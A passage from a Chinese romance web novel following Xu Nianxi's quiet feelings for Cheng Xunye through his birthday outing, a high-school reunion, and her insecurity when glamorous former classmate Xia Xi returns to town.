下个月月中的一天,是程洵也的生日。那天,徐念溪很早就起来了。还没等多久,程洵也过来敲门。 徐念溪打开房门,和程洵也对视上,就见程洵也眼眸睁大了点。几秒后,他移开目光,嘟嘟嚷嚷的:“你今天干嘛要化妆?” 徐念溪反问他:“不好看吗?” 程洵也说不出昧着良心的话,“啧”了声,继续嘟嘟嚷嚷:“比我差一点。” 和他这种好看得抓人的长相自然不能比,徐念溪点头,松了口气似的:“那就好。”很满足了一样。 程洵也这时候又有几分欺负人的不好意思起来,轻咳了声,也没看她:“严岸泊他们到了。”徐念溪接话:“鲁惟与也出发了。” 他们在家农家乐汇合,严岸泊他们已经到了,正池塘边支着伞钓鱼。见到程洵也过来,敷衍地勾了勾唇角,打发他似的:“礼物都放我车里后备箱了,你自己去拿。” 程洵也拿礼物的功夫,鲁惟与也到了。徐念溪和她聊了会儿天,两个人又一起钓了会儿鱼。 她钓鱼的时候,程洵也就时不时找过来。一会儿嘲笑她空军,一会儿又颐指气使地让她起开,他来,明明旁边还有空的位置,但他非和徐念溪杠上似的。 徐念溪让了,只是他行情也不太好,好半天才钓上来一条小拇指大小的鱼,还没有鱼钩大。……" 在鲁惟与一言难尽的目光里,徐念溪很给面子地直拍手:“这么大的鱼钩,你都能让它吃下,你的技术真的特别好。”程洵也心满意足地离开了,鲁惟与撞了撞徐念溪,表情微妙:“溪溪,你什么时候学会拍马屁的?” 徐念溪很无辜:“不是你教我的,要常夸人吗。而且我问过他了,他喜欢很主动的女生。所以,你懂的。”她递给鲁惟与一个她正在努力追求中的眼神。鲁惟与目瞪口呆了一秒,又还过来一个加油,好姐妹的眼神。 很快到了吃饭的点,饭菜是农家乐老板自己做的。都是山里的食材,有山鸡、野笋、野蘑菇。他们吃过后,又去山里摘了蘑菇。 采蘑菇的时候,程洵也还记得徐念溪之前的两次平地摔经历,要求她全程跟在他身后。徐念溪被他看扁,也不生气,老老实实地跟着。 鲁惟与则跟着徐念溪。山不大,但是少有人为开采痕迹。到处都是树枝和野草藤蔓。她们俩走得磕磕绊绊的,还好前面的程洵也会帮忙开路,也会时不时指挥她们往哪里走,会更容易,也没有树枝。 “嘶。”鲁惟与小小声的倒吸了一口凉气。徐念溪回头看她,紧张地说:“怎么了?哪里刺到了吗?”鲁惟与把不小心挂到她手腕的枯树枝拿走:“对,不过还好,不咋疼。” 徐念溪放下心。剩下的路,她们全程走得很小心,时刻走在程洵也开好的路上。只是,山里毕竟都是树林枯枝,她们再怎么跟在程洵也身后,还是被刺刺了几道伤口出来。 好不容易到了摘蘑菇的地儿,严岸泊他们已经开始捡了,程洵也对这些没兴趣,只过来看看她和鲁惟与,见她们还好,便放了心似的。 捡到差不多下午四点,山里天黑得早,他们返程回去。下山的路,比上山更快。只是就算这样,她们还是被刺扎了好几次。 农家乐老板已经在门口等他们了,徐念溪找他借了酒精,给鲁惟与涂了药。 在山里看着还好的伤口,这会儿看已经红肿了。 还好,伤口不大。 徐念溪涂完药,又想起什么似的,走到程洵也跟前。 “手给我看看。” 程洵也正在钓鱼,听到她的话,也不照做。看看天,神情臭屁:“干嘛要给你看。”徐念溪把自己的手摊在他跟前,坚持道:“给我看看。”还看了程洵也一眼。神情温淡,但带着力度。 见她这样,程洵也“啧”了声,勉为其难似的,把手拿了出来,放在她的手上。果然,徐念溪拉开他的袖子,就看到,他的胳膊上,有好几道翻着红边的伤痕。很长几条,几乎从手肘到手背。 她和鲁惟与都被山上的树枝刺得那样,更别说还在前面帮忙开路的程洵也。自然更为严重。 见她低着头不说话,程洵也嘟嘟嚷嚷的,想把手收回去:“又没有很严重。”徐念溪没有给,而是直接拉过他想要收回去的手,涂上酒精。 程洵也被她这猝不及防的动作,弄得“嘶”了声。嘶完他也不说话了。徐念溪看了他一眼,语调平平:“不是不严重吗。” 程洵也看得出她脸色不太好,整个人都老实下来了,乖乖地任她操作。借着农家乐的灯光,徐念溪再次检查过了伤口,确定已经全部涂上了药,才放下心。 程洵也似乎觉得伤口露在外面很丢脸,等她放下了他的胳膊,他就想把袖口拉下来。 还没动作,被徐念溪安安静静地看了一眼。 就这一眼,程洵也没敢动了。 剩下的时间,徐念溪全程就跟在程洵也身边,生怕她一旦不在,他就放飞自我。 时不时还拉着他的胳膊,检查一下有没有流血。 严岸泊过来的时候,就看到徐念溪正扒拉过来程洵也的手腕,格外熟练的,翻来覆去看了好一会儿。程洵也神色带着点烦躁和抗拒,不太乐意配合。被徐念溪看了一眼,他又老实了。 等徐念溪低下头,他唇角几不可闻地扯了起来。 见到严岸泊过来,视线还直直地放在她和程洵也身上,看完他们两,又看她放在程洵也胳膊上的手腕,徐念溪突然反应过来,放开程洵也的胳膊,轻咳了一声:“你们聊吧,我先去找鲁惟与了。” 她边往外走,边反省了一下自己的所作所为。 总觉得,她做这一切,虽然事出有因,但放在别人眼里,估计她就像是对着国色天香的美人,毛手毛脚的小流氓。 果然,等徐念溪回到鲁惟与身边时,鲁惟与就撞撞她,神色促狭又暖昧。徐念溪这时才有点尴尬,干咳了声。 回头看程洵也,就见他还在钓鱼区,严岸泊不在他身边了。发现她看他了,程洵也皱着鼻子,移开视线,也不和她对视。 但徐念溪移开视线,他又自己看过来了。 估计是刚刚被她凶了,还有一点闹情绪。 徐念溪看他那样子又有些心疼,走到程洵也身边,他知道她来,立马哼了声,侧过脸,不看她。 徐念溪放轻了语气,“刚刚不是故意凶你的,只是有点担心你。”听她这么说,程洵也才看了她一眼。神情还有几分委屈似的。 徐念溪举起手,发誓状,“我以后再也不凶你了。”听她这么说,程洵也才恢复精神,人又开始颐指气使了。先说徐念溪刚刚的态度不好,又让徐念溪给他挽袖子,说袖子掉了,影响他发挥,所以才一直没有鱼上钩。很是不好搞。 等他们在山里折腾一圈,回到西津已经是晚上九点了,严岸泊还不肯罢休,说要去唱K。全程的魔音绕耳中,徐念溪和鲁惟与交换了几杯鸡尾酒,然后她们就看着正嘶吼的严岸泊乐。 严岸泊这嗓音毕竟太过于震慑人心,很快就被公孙修竹和李伟豪轰走,场子也散了。 徐念溪把鲁惟与送上车,又感谢了送她回去的严岸泊。人都散了,程洵也走到她身边,语气不太好,声讨她:“你刚刚看严岸泊干嘛?”徐念溪脑子还有点晕乎,“我刚刚看他了吗?” 程洵也肯定点头,语气较真:“就他唱歌的时候,你盯着他看。”徐念溪想了想,恍然大悟:“因为有点儿佩服他。”“为什么佩服他?” 因为有点愧疚,徐念溪声音放得小了一点:“他明明唱得那么难听,还那么自信,就有种…….”她顿了下,思考两秒,开口:“不管别人死活的奇特魅力。”. ….” 安静了片刻,程洵也肩膀突然颤了颤,嘴角往上勾,琥珀色眼眸里满是笑意。气质张扬桀骜,嘴角勾起的样子让徐念溪想到了十八岁时的他。笑起来,也是这个样子。 她好半晌才回过神,就见程洵也的手摊在她面前,讨要什么似的,“我的生日礼物呢?”徐念溪把放在包里的盒子给他,轻咳一声:“这个。” 程洵也打开,是条手链,银质的,中间有太阳挂饰。“系上。”“?” 程洵也一副她不懂事的口吻:“你送礼物都没有售后吗,你给我系上。”徐念溪这次倒是懂他的意思了,“哦”了声,乖乖上前。他冷白皮,银质手链在他手腕上更增加几分低调清贵。 “好了。”徐念溪退后两步。程洵也举起手腕看了看,也不做评价,只拉下袖子,哼了声:“走吧,回去。”回去的路上,徐念溪时不时观察下程洵也。被程洵也察觉,他啧了声,也不看徐念溪,好像习以为常了似的:“你干嘛又看我?” 徐念溪收回视线,扣了扣手掌心:“那个,你喜欢吗?”“什么?”“手链。”“手链啊。”“嗯嗯。” 他摆出一张沉思脸,余光见徐念溪眼都不眨地看着他,才笑了:“勉勉强强吧。”徐念溪先是松了口气,又叹了口气。“你叹什么气啊?”徐念溪也不应,只又慢慢地叹了口气。 程洵也反倒是受不了了,凶巴巴的:“不就说了勉勉强强吗?你叹什么气啊,大不了我不这么说了。”徐念溪这时才有了精神,看他一眼,打商量似的:“我不要你改口,能问你个事吗?”“你说。” 徐念溪因为紧张,语调轻轻地:“你有没有觉得,这段时间我都很主动?”她这话一出,一直气鼓鼓的程洵也反倒不说话了。别过脸,盯着路灯,也不知道在想什么。 徐念溪催促他,他还比谁都不耐烦似的,皱着眉头,居高临下地看她。表情凶得想让她知难而退一样。 徐念溪酒意有点上涌,又已经学会他的胡搅蛮缠,并不在乎他的脸色,戳了戳他:“说话。”不理。“说话。”又不理。 “……” 几次之后,程洵也服了,觉得他已经奈何不了徐念溪了。他往前走,躲开徐念溪的手,表情搪塞:“马马虎虎吧。” 徐念溪求知心重,追到他身后,询问:“那怎么才能不马马虎虎呢。”她问得真心实意的,程洵也脚步一顿,嘴角扯了下。又很快接着往前走,只丢给徐念溪一句:“你自己想。” 徐念溪这一想就是好久,她发现,让一个人满意真的不是一件简单的事。尤其是程洵也这种。但好在,他说的是马马虎虎,而不是完全不行。 四月初的时候,高中同学群里发了一条同学聚会的消息。要去的人有很多,包括鲁惟与。 为了怕孤独,鲁惟与还拉了徐念溪。去的那天,鲁惟与特意开了她爸的车,雄赳赳气昂昂地出发了。 去的路上,鲁惟与问:“程洵也去吗?”徐念溪摇头:“他不去,他去南城出差了。” 鲁惟与“这样”了一声,开着车去了同学聚会场地。 同学聚会安排在家露天烧烤营地。 这会儿来的人已经不少了,说话的聊天的,烧烤架上也摆了不少烤串。远远的,还有人拿着话筒情歌对唱。 见到徐念溪她们,公孙修竹和李伟豪过来打了个招呼,又问程洵也怎么没来。徐念溪如实相告。 严岸泊则是一过来,就看着徐念溪嘿嘿乐。自从上次程洵也生日,他亲眼见到了她和程洵也的相处,严岸泊可不信徐念溪不喜欢程洵也。徐念溪被他笑得有点瘳得慌,找了个理由,去了别处。等再看,严岸泊又不知道去了哪里。 可能开了辆车过来撑场子,鲁惟与比上次在蔡娴娴的婚礼上更放开一些,和不少高中同学都聊起了天。徐念溪对交际的兴趣不大,坐在小沙发上,边看幕布上播放的电影,边给程洵也拍同学聚会的照片。 这是程洵也要求的。他说,既然他不能去,徐念溪就要和他分享。他说这话时理直气壮的,比霸王还霸王。 徐念溪发过去没多久,程洵也就回复了:去年好像也是这里。徐念溪望了一圈,找到营地的名字:是叫梁子湖营地吗? 程洵也:对。他还给她发来了照片,确实和这里是一样的。 程洵也吐槽这些人偷懒,徐念溪正笑,鲁惟与就坐到她身边来了,一脸促狭:“好啊,溪溪。你什么都不干,就躲在这边和人聊天。是不是程洵也?”徐念溪睁大眼睛看她,觉得不可思议。 鲁惟与不以为意,指了指她的脸:“能让你笑成这样的对象,除了我,不就只有程洵也了吗。” 徐念溪摸了摸自己的脸。 可能是刚刚笑完,她的唇角还保持着上扬的趋势。 徐念溪干咳一声,直起身:“你怎么不去玩了?” 鲁惟与喝了口饮料:“玩累了,去年也是这些,都没新鲜感了。” “对。我听程洵也说了,你们去年也是在这里办的。” …” 鲁惟与忍不住回头看了一眼徐念溪,神情微妙:“溪溪,你怎么三句话都离不开程洵也。” “… 鲁惟与调侃完徐念溪,又道:“我刚刚听体委说,还有一个人来。你知道是谁吗?” 徐念溪配合她,转移话题:“谁?” “高三下学期的时候,班上不是转来了一个音乐生吗?”鲁惟与想了想,“好像是叫夏熙,你还有印象吗?” 鲁惟与的声音在徐念溪眼前渐渐拉开帷幕。 风声鹤唳的高三下学期,所有人都在为高考争分夺秒,就算是徐念溪也不例外。 也就是那个时候,班主任突然宣布班上转学来了一个音乐生。名字叫夏熙。 “我还记得她。长得挺漂亮的,是那种有点骄纵但骄纵得理所当然的女生,”鲁惟与怕她不记得了,撞了撞徐念溪的手臂,“就是那个不喜欢穿校服,每天还迟到,总被教导主任抓的女生。一个她,一个程洵也,一向都是教导主任的眼中钉。” “我记得。” “是吧是吧,我就说我没记错。” 她们说话期间,有人走进来。女生。身材瘦而不柴,穿了件露背黑色连衣裙,十厘米的高跟鞋,小腿修长白皙。妆容精致,一双上扬的猫儿眼,神情骄纵却不娇蛮。面孔有些生,一时之间,有不少人看向她。 虽然她只在6班待了没几个月,但她当时的行为作风,还是挺让人印象深刻的。面面相觑之下,很快有人认出了她,嗓音犹疑地问。“夏熙?” 夏熙点头:“你们好,我是夏熙。”她出场出得太特别了,有人过来和她聊天。 徐念溪和鲁惟与就站在离她不远处,能听到他们的交谈声。她时不时和人说两句话,神情不太用心,边说话边望了望营地,找什么人似的。 夏熙正好看见了她们,朝这边走过来。 “好久不见。” “好久不见。” 鲁惟与对夏熙还是好奇的,和她交谈了几句,得知夏熙现在是一名全网粉丝超过五百万的网红。等夏熙走后,鲁惟与拿出手机,在几个社交平台上找到了夏熙的账号。夏熙做的是美妆创意类的。更新频率不算勤,经常一个星期也不更一条。 但留洋富家大小姐,不吃苦不受累,最大的事情就是享受音乐和人生的人设在美妆赛道还是特别的,每条视频下面,评论和点赞都很可观。 徐念溪也看了一眼。 夏熙的账号没有走让人高攀不起的路线,相反她时不时会在视频中分享自己的日常穿搭、美妆品牌、佩戴的珠宝首饰。 但无一例外,评论区里都是姐姐好美,但买不起呀的声音。 显然,虽然她没有高高在上,但本就存在差异,所以也不能相提并论。 鲁惟与甚至还翻到了夏熙的带货视频报价。1-20s视频,180000。21-60s视频,250000。60s视频,400000。 鲁惟与数了好几回,才确定这到底是多少钱。当即,倒吸一口凉气,“我的天呐,这么多钱!这世界真像那句话说的,钱都流向了有钱的人,爱都流向了不缺爱的人。”夏熙没有待多久,就很快离开了。 她走后,围绕她的话题却没停止,相反更加多了点。她虽然像昙花一样,出现又很快离开,但她家境好,现在的职业也特别,给人的印象很深。好像和他们这些平庸又平凡的大众隔开一样。 鲁惟与回忆往昔:“溪溪,你还记得吗?有一次夏熙生日,她邀请了班上好多女生去她家里过生日。”徐念溪点头:“记得。” “是吧,我们也去了,我记得是在市中心的一个小洋房里,她爸妈都很好看,不止好看,而且对她很好。” 鲁惟与的声音里,徐念溪的记忆拉回了高三那个周末。她和鲁惟与虽然没和夏熙说过多少话,但也在夏熙的邀请行列里。 她们凑在一起,商量了好几天,最终咬了咬牙,决定一起给夏熙买一个六百块的手风琴。下午,她们搭着公交,来到了西津一环。走了几公里的路,来到一片小洋房。 每栋洋房都是欧式设计,彼此之间间隔很远,还种了不少的梧桐树,树阴绵密。乍一看,像是闹中取静的一片宝地,远离了城市的喧嚣。 鲁惟与一时有些迟疑胆怯:“夏熙就住在这里吗?”徐念溪对着夏熙写的地址,研究了会儿,确定:“就是这里。” 她们只是普普通通的两个高中生,哪里来过这种地方,一时面面相觑。但没有看多久,夏熙从二楼看到了她们的身影,下了楼。 在夏熙的带领下,她们进了她家。她们来的太早了,别的同学都还没来。夏熙的父母过来,给她们拿了小蛋糕,又听夏熙苦着脸,抱怨他们教导主任,总爱抓她,她都写了好几封检讨了。夏熙父母都笑,笑完,又让夏熙带着她们参观一下。 夏熙不亏是音乐生,家里放了很多乐器,一楼楼梯转角,还有台施坦威钢琴。哪怕徐念溪和鲁惟与对这些东西不是很了解,都知道施坦威钢琴的名字。一时之间,她们准备的手风琴有些不好意思送出手。 夏熙倒是已经看到她们准备的礼物了,见是手风琴,笑开了:“我刚好想要。”她们没有参观很久,陆陆续续又有别的同学来了。 夏熙跑下去接她们。没过多久,所有的人都到齐了。出乎意料的,都是女生。 女生围在一起,看完夏熙的收藏,又看夏熙从小到大的照片,时不时发出几句难以控制的赞叹和羡慕。夏熙在掌声和艳羡目光里,款款坐下。几秒钟之后,她的手下,流淌出丝滑的钢琴乐。 夏熙穿着件粉色连衣裙,素面朝天,头顶一顶皇冠。窗外的阳光打在她身上,她整个人都是透明的。像有光环环绕一样。她父母站在她旁边,眼中带着笑意和骄傲。 一时之间,没人敢说话,只屏息凝听。等夏熙站起来,鲁惟与鼓掌的同时,情不自禁地压低声音:“天呐,夏熙这种真的公主一样的人生。”徐念溪没说话,却也情不自禁点头。家世好、家境氛围好、有自己的爱好和特长。是徐念溪成长路程中,见过的最像公主一样的女生。 鲁惟与显然也回忆到了高中的事情,连连赞叹,觉得只有她这种人现在才能和他们这么不同。又想起了什么似的,脚步一顿,皱紧眉头:“是我记错了吗?我怎么记得夏熙高三那会儿,追求过程洵也啊。” 徐念溪脚步也跟着顿住,片刻后:“有吗。”鲁惟与想了想,“有啊,就是你躲程洵也之后,很快就有人说,夏熙在追求他,要不然怎么那么快,没人提你和他之间的事。” "……" 她们没在同学聚会待很久。徐念溪回来时,时间刚好下午五点。 没多久,大门又被打开,徐念溪听耳辨人,走出卧室,就看到程洵也的身影。他有些风尘仆仆的,见到徐念溪,就道:“严岸泊约我们吃饭,去不去?” 待他们到了地儿,严岸泊已经点好了菜,见到他们来,尤其是徐念溪,还是笑得一脸荡漾。程洵也瞪了严岸泊一眼,让他别发疯。 严岸泊可不管他,他现在自觉已经看破了一切,想帮忙撮合这两个人的心重。吃饭的功夫,严岸泊话里话外都在说程洵也这个人还是不错的,虽然人自恋,又幼稚,还记仇,并且嘴欠…… 程洵也在桌子底下,踩了他一脚,严岸泊才回神,“哦哦,说到程洵也啊,该说不说,他这个人还是挺长情的。”没等徐念溪问,他就自己巴拉巴拉地说了,说程洵也有喜欢一个人,还是喜欢了很多年,从高中喜欢到现在的那种….… 听到他这话,徐念溪有些吃不下去了,放了筷子:“我去趟卫生间。”她走后,严岸泊满脸懵地看程洵也:“怎么回事?你喜欢念溪这么多年这事把她恶心到了?”程洵也瞪了他一眼:“你非得掺和一脚。”严岸泊挠了挠头,一时之间,也有点怀疑起自己的判断。 卫生间里,徐念溪看着镜子里自己的脸。现在的她,已经不是高中那个青涩又稚嫩的她了。她已经成熟、定型成为一个平庸又庸庸碌碌的她。可能是时间流逝之感太重。恍惚之中,徐念溪好像顺着一根线条,突然想起来高中时的种种。 确实和鲁惟与说的一样,有一段时间她真的躲过程洵也。不是因为别的,而是觉得,程洵也这种人,就是不应该和她放在一起。哪怕只是别人嘴里的,他好像喜欢她,也不应该。就好像,天上的太阳和地上的尘土。别说放在一起了,就连联系起来,都很奇怪。太奇怪了。 所以徐念溪没有探索这件事情的真相,而是从源头,直接杜绝这件事。 躲了程洵也一段时间之后,渐渐这种声音开始少了起来。 徐念溪松了一口气的同时,又隐隐约约地感到几分惆怅。 不太多,但深夜时,总会时不时上泛一下。 只是没惆怅太久,徐依宁那事发生。平城和西津在一瞬间,好像都变成了她讨厌的存在。也是从那时起,她不再想报考平大,而是改变了志愿,想报考南大。 她很迅速地做出这个决定以后,徐念溪总似有若无地想起程洵也。 她还记得他问过她,想报什么学校。 少年像是随口一说似的,唇角勾着,没有看她。 但嗓音又有些紧绷,又有点重视一样。 徐念溪弄不清楚他到底是怎么想的,也有点犹豫要不要告诉他,她想改志愿。 可犹豫的功夫,她刚好撞见程洵也和夏熙在一起。 那会儿刚放学,夏熙坐在程洵也前面,手撑着下巴,正对着他。有点百无聊赖地,问他想考什么大学。程洵也则低着头,笔尖未停,随口回:“你问我干嘛,你也想考啊?” 夏熙换了只手,神态有些迷茫,问程洵也:“你说我要是文化分过了四百分,能和你一个大学吗?"”程洵也停笔,看她。神情嚣张,透着点别人挤不进去的亲昵:“我成绩很好的,你追不上。”夏熙瞥了他一眼,切了声。“自恋什么,你怎么知道我追不上。” 程洵也哼了声,“我就是知道。”夏熙被他气得咬了咬牙,忽的站起身,搡了他一把。程洵也整个人往后仰,整个人差点摔到地上。没等程洵也反应过来,夏熙就笑着跑开,说他活该。 他们俩都是明媚的类型,笑起来不知岁月忧愁的模样,任谁都知道,这种人是充沛爱意里浇灌出来的孩子。 徐念溪看着他们,迟迟没有敢再往前迈步。世界好像分为两部分,一部分是他们,一部分是自己。他们的部分阳光环绕,好命到爱都要溢出来了。自己的部分阴雨连绵,看着别人的幸福酸涩难忍。 她站到教室门口,连站进去的勇气都没有。一段时间之后,班上有人说,夏熙正在追求程洵也。 得知这个消息时,徐念溪正在写作业。是同桌和她说的。她随口还感叹了几句,说他们俩还挺配的,不论是家境还是气质。 徐念溪没有说话,而是继续提笔写字。 写了一行,笔尖慢慢一顿。这时才知道,她那时似有若无的惆怅是什么。是一点怅然若失。 她可能,也曾经在心里期望过,程洵也喜欢她吧。毕竟,谁能不会幻想,光降临在自己身上。 但这么一点怅然若失很快又被可笑取代。程洵也喜欢的人,应该是夏熙那种,明媚的,像夏天一样,公主的女生。不可能是她这种,灰扑扑的。她也不应该把他随口一句似的询问志愿放在心里。 46、046 徐念溪擦干手,回去的时候,饭吃得差不多了,和严岸泊打了个招呼,徐念溪和程洵也回了房子。 回来没多久,程洵也接到了电话。 是夏熙打过来的,约他和严岸泊一起吃夜宵。 程洵也应了。 等挂了电话,才发现徐念溪在看他。 见她看他,程洵也愣了瞬,疑惑地开口:“怎么了吗?”徐念溪咬了咬唇瓣,开口:“你是要和夏熙吃饭吗?”“对。还有严岸泊。” 徐念溪收回目光,点了点头,没再说话了。程洵也穿好外套,往外走的时候,徐念溪叫住了他。她想说,可以不去吗….… 但话到嘴边,怎么都说不了口。 她何德何能,要求程洵也不去呢。 他的世界里都是光芒,他应该和光芒在一起。她又凭什么拉着他,让他和她一样困在阴雨里。所以她现在连,探寻他们之间到底是什么关系的勇气都没有。 程洵也看她,目光似乎在问,怎么了。徐念溪深呼吸几口气,摇了摇头:“没什么。” …… 程洵也到了地儿的时候,严岸泊和夏熙已经在了。他们俩正聊天,见到程洵也过来,严岸泊拍了拍旁边的位置,“坐这儿。”又问夏熙“妹啊,你这次回来多久。”“一个星期。” “这么短,你干嘛跑回来?来回不折腾吗?”夏熙笑:“回来看看,这么多年没回来了。” 吃了饭之后,他们顺着夏熙的意思,录了个好几个日常视频。等视频拍完了,严岸泊又带着她看看西津,说西津变化挺大的,她那时候就回来了几个月,什么都没看清。 夏熙随口应,边好奇地看程洵也。她和程洵也好久时间没见了。 见到夏熙看他,程洵也脚步顿了顿,还没后退,夏熙就搡了他一把。她力气很大,程洵也在她手里就跟充了气的球一样,一下子退后了三四步。 “…… 夏熙不屑:“你还是一样弱。”程洵也恼羞成怒:“我哪里弱,明明是你力气太大,土匪似的,一拳能砸死人。”夏熙眯着眼睛,朝他挥舞了拳头,程洵也立马闭嘴,不和她一般见识。 严岸泊笑得幸灾乐祸的,这俩一凑在一起,就掐架。而且不是程洵也欺负夏熙,是夏熙欺负程洵也。 这么逛了个来回,程洵也回来的时候,已经晚上十点了。客厅里,小壁灯开着,徐念溪窝在沙发一角。眼睛闭着,隐隐有一点白气从她微张的嘴巴里吐出来,把那一小块空气打湿。 程洵也放了钥匙,走近两步,还没说话,徐念溪像是感觉到有人接近一样,慢慢地睁开眼睛,有点迷茫地看着他。花了几秒,才认出他是谁。 徐念溪直起身,拽住往下滑的被子:“你回来了啊。”程洵也问:“你怎么不去房间里睡?”徐念溪垂眸,看着被子的蓝白格子纹路,嗓音很轻:“现在就去。” 程洵也没有深究,往卧室里走,“行,我睡了。”“.…好。” 程洵也走后,徐念溪坐在沙发上,静静地发了一会儿呆,才抱着被子,回了卧室。夏熙这次好不容易回来一个星期,严岸泊自然要好好照顾她。只是他新店开业,分身乏术,只能把夏熙推给程洵也他们照顾。 等他忙完了这一阵,严岸泊终于有空歇会儿了。 他边等餐,边把夏熙的账号翻了个遍,自然没有漏过,网友纷纷在问夏熙新发布的视频里,出镜的男生是谁。 严岸泊眉毛一皱,又看了一遍。他没看错啊,公孙修竹和李伟豪也出镜了,为什么网友只关心程洵也是谁。公孙修竹也委屈,觉得这些网友真是没眼光:“我出镜了七八次了,我还是个吃播呢,虽然没有夏熙粉丝多,但也不差啊,怎么都忽视我。”李伟豪抢他根薯条,应和:“就是就是。我们俩长得也不差好吗。” 放下他们俩嘀嘀咕咕的不提,严岸泊又往下翻了翻,评论区还有人猜测程洵也是不是夏熙男朋友,两个人站在一起挺配的。 严岸泊可就夏熙这一个表妹,当即就点了举报,认可公孙修竹说的,这群网友真没眼光。等他挨个挨个举报完,又状若不经意地看程洵也。西津已经四月份了。程洵也一身黑,带了点低调的鸭舌帽。从他这个角度看过去,只能看到他的一点侧脸。但就算是这样,也很感觉出这人应该是个帅哥。从来来往往经过,都得往他身上,看两眼的女生就知道。 “…. 严岸泊坐到程洵也身边,一脸讨债相,“你坐这儿装什么逼呢。”程洵也无缘无故,就被他骂了一句,不明所以地看了他一眼。 严岸泊可不管他怎么想,掏出手机,给他看夏熙账号的评论区。“看看看看,一个两个的。都在问你是谁,说你长得好看。”严岸泊的口吻很酸,“要不是我那几天有事,出镜的就是我了。竟然还有人问,你是不是夏职的男朋友,什么眼光啊。” 程洵也接过手机,就见评论区里,确实有不少声音,猜测他和夏熙的关系。程洵也皱了下眉,叫严岸泊把夏熙的微信推给他,又起了声,交代一句“走了。” 程洵也回去时,徐念溪正在从卧室里出来。见到他,神色如常地和他打了声招呼,又去厨房倒了杯水。好像没有看到,夏熙的视频似的。 程洵也松了口气,他也不愿意徐念溪误会他,坐到沙发上,叫了徐念溪一声。徐念溪很快就朝他走过来,把杯子放下,看程洵也。“怎么了吗?” 程洵也轻咳了一声,交代似的,“那什么,我这几天都在陪…….”他话没说完,被徐念溪打断:“夏熙是吗?我知道。” 这下反倒是程洵也愣了,有些诧异地看着徐念溪:“你知道她?”“嗯。我在同学聚会上看到她了。” “那你也知道评论区的事?”徐念溪点头:“知道。” 那你怎么没有反应,程洵也皱了下眉毛,想问,但看徐念溪的表情,却有些问不出口。似乎感受到突如其来的沉默,徐念溪端起杯子,指了指卧室:“既然没什么事的话,我先进去了。”程洵也没阻止,只看着她一步一步走远。 良久,客厅只听得到程洵也的呼吸声,他慢慢地“啧”了声,有些不满她的冷静。 也可以说,不是冷静。 而是冷淡。 许是因为上次搜索过她,夏熙的账号时不时都会推送给鲁惟与。 鲁惟与每次看了后,都会和徐念溪说心得感受。 刚好又发了一条,鲁惟与看完后,立马冲过来了:溪溪!视频里面怎么出现了程洵也? 徐念溪顺着鲁惟与发来的链接,就看到夏熙刚发布的vlog。确实有程洵也的身影。他们一起出现在西津的很多地方,水族馆、天文台、山顶……视频里,夏熙总是在笑。 哪怕徐念溪不怎么关注网红,也很少看别人分享的vlog,都会觉得夏熙的vlog会让人心情很好。阳光、灿烂、有自己想法的女生。 评论区里很多人都问,出镜的男生是谁?是她男朋友吗? 夏熙一律没回。 徐念溪:他去陪陪她吧。鲁惟与很震惊,觉得不可思议:你就让他去陪夏熙?你不记得高中,夏熙还追求过程洵也吗?徐念溪:我记得了。 鲁惟与更震惊了一点:不是。溪溪,你记得你还让他去啊?徐念溪这次沉默得更久:可是,我没有道理阻止,不是吗? 比起她来说,夏熙这种女生,应该更让程洵也喜欢。所以严岸泊说的,程洵也喜欢很多年的女生,应该就是夏熙。 鲁惟与很着急,直接一通电话打过来了。“溪溪,你怎么没有道理阻止?你不是和程洵也最近关系有进展吗?而且就算程洵也真的喜欢夏熙,那也是很久之前的事了,该翻篇的早就翻篇了。” 徐念溪扣了扣手掌心,有些东西堵在胸口,再沉重地从心里往上泛滥,她觉得难以喘息,深呼了几口气。垂眼,嗓音很轻。 “可是,我从心里面,也会觉得,程洵也这种人好像更适合和夏熙在一起。” 同样的光芒万丈,同样的美好童年,同样的被爱意环绕。 好像两个,本就应该摆在一起的摆件。 而她不是。她和他们太不一样了。所以就应该老老实实地,待在门口看着他们。时不时自怨自怜一下,懊恼自己的毫无作为,讨厌自己的怯弱。但也好过,恬不知耻地挤上去。时刻为自己的存在感到自卑。 这下,鲁惟与不知道说什么了,近乎于语无伦次:“不是。溪溪,你为什么这么想,你和程洵也在一起,不也挺好的吗?你又没有哪里不好?“徐念溪看着窗外:“可是小鱼,你也说了,爱会流向不缺爱的人。所以不缺爱的人适合和不缺爱的人在一起,这样才会更幸福。而我这种人,只会拉着他,让他不开心的。”有时候,徐念溪会觉得,有的人是一块肥沃的沃土。所以,在这片沃土上,任何植被都茂密,作物都疯长翠绿。是阳光、希望、未来、爱与一切, 但有的人,就好比她自己,是一块荒地。她就算很努力地开荒、犁地、种植、施肥。却终究抵不过外界的冲击。种出来的东西,也灰扑扑的。她敏感、她拧巴、她胆小怯弱,她没有安全感,她就算想要,也不敢开口。 她种出来的东西,自然也不应该和生长得旺盛的那些,放在一起。她会觉得自卑,会觉得自行惭愧。 严岸泊极度不服上次夏熙账号下的评论,这次特意抽出时间,陪夏熙逛逛西津,还拉了程洵也出来,势要和他一较高下。严岸泊打来电话时,程洵也就在客厅,徐念溪在厨房洗杯子。 听到严岸泊这样说,程洵也没一口答应,而是往厨房看。不知何时,厨房的水龙头关了。徐念溪站在洗碗池旁边,背影安静。 程洵也收回视线,没有一下答应严岸泊,只说了句:“再说吧。”等他挂了电话,厨房里的水龙头也重新打开了,水流声滴滴答答的。 程洵也起了身,走到厨房门口,看徐念溪的背影,没话找话:“怎么不用洗碗机?”徐念溪把洗干净的杯子放到一旁,“手洗比较快。” 程洵也认同地点头,又装若不经意地开口,“你刚刚听到我的电话了吗?”徐念溪端起杯架,笑了下:“听到了。你和严岸泊要去和夏熙见面,是吗?” 她虽然说的是疑问语句,但语气却平铺直叙的。 “对。” 徐念溪表情依旧平静:“那你去吧。客厅需要留灯吗?”程洵也皱了下眉头,盯着她看,神情困惑又不解。几秒后,忽的不爽地“啧”了声。“不要。”他情绪表达得很明显,像是和谁闹脾气一样,等着对方来哄。 但徐念溪跟看不见一样,连笑容的弧度都没变几分:“那行。”程洵也像一拳打到棉花里,格外憋屈地站在原地,看着徐念溪进去的背影。 程洵也到的时候,严岸泊已经到了。 穿得那叫一个风骚,枣红色西装,蓝白色条纹衬衫,打远看像只红色扑哧蛾子。 ……" 见程洵也站在原地,不过来,严岸泊赶紧跑过来了,催他:“快快快,我们一起上镜。”严岸泊今天带夏熙坐的是渡江游轮。在嗡鸣声中,江面被游轮破开成一条白色的鱼带细浪,江风吹在脸上,让人几乎睁不开眼睛。 